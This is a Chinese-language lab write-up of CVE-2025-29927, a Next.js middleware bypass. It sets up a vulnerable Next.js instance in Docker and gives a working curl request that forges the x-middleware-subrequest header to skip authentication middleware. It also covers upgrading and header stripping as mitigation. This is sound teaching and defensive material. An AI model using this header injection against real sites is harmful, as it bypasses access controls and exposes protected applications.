CVE-2025-29927 是一个 中间件绕过 漏洞,存在于 Next.js 1.11.4 及以下,以及 12.3.5、13.5.9、14.2.25 和 15.2.3 之前的版本中。它允许外部攻击者跳过开发者在 middleware.ts 文件中实现的安全逻辑——例如身份验证、机器人检测或地理位置重定向。
Next.js 使用内部 HTTP 标头在其不同架构层之间进行通信。其中一个标头是 x-middleware-subrequest。
该漏洞之所以存在,是因为易受攻击的 Next.js 版本即使该标头是由外部客户端(如浏览器或 curl)发送的,也会信任它。当服务器看到此标头时,它会假定该请求已经过中间件的处理并“清除”,因此完全跳过安全代码的执行。
该实验室运行在 Node:18-alpine Docker 容器内,以确保环境干净且可重现。
我们首先在后台启动一个命名容器。我们使用 sleep infinity 在配置期间保持容器运行。
我最初在后续阶段重启容器时遇到了一些问题,因此我决定使用 sleep infinity。
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
我们安装特定的易受攻击版本的 Next.js。请注意,尽管使用了 --src-dir false 标志,框架仍会创建 src 目录,我们必须将中间件放置在其中才能使其生效。
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
为了模拟安全屏障,我们创建一个 middleware.ts 文件。该中间件配置为以 401 Unauthorized 状态 阻止所有传入请求。
# 进入容器 shell
docker exec -it CVE-2025-29927-Lab sh
# 在 src 目录中创建中间件文件(一条长命令)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
启动开发服务器,等待控制台中出现 ✓ Ready 信号。
# 仍在步骤 3 的容器 shell 中 - 运行以下命令。
cd lab && npm run dev
在宿主机上打开一个新的终端窗口(不要关闭之前的终端),使用 curl 测试环境。
未修改标头的标准请求会被我们的中间件正确捕获并阻止。
curl.exe -I http://localhost:3000/
# 预期响应:HTTP/1.1 401 Unauthorized
通过注入内部标头 x-middleware-subrequest: src/middleware,我们欺骗 Next.js,使其认为该请求已由内部进程验证。服务器跳过中间件执行并授予完全访问权限。
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# 预期响应:HTTP/1.1 200 OK
为了保护你的应用程序免受 CVE-2025-29927 的攻击,你应该将 Next.js 升级到与你当前主版本相对应的已修补版本:
该漏洞已在以下版本中修复。确保你的 package.json 至少引用以下版本:
# 更新到最新修补版本的示例
npm install next@latest
如果无法立即升级,你应该配置 Web 应用防火墙(WAF)或反向代理(例如 Nginx、Cloudflare 或 Varnish),以剥离或丢弃所有传入外部请求中的 x-middleware-subrequest 标头,然后再将其发送到 Next.js 应用服务器。
升级后,你可以通过重新运行步骤 5 中的利用命令来验证修复。当存在伪造标头时,已修补的服务器将不再返回 200 OK。
此漏洞存在的原因是 Next.js 信任客户端标头来识别内部子请求。为了缓解此漏洞,应将 Next.js 更新到能正确验证或从外部传入流量中剥离这些内部标头的版本。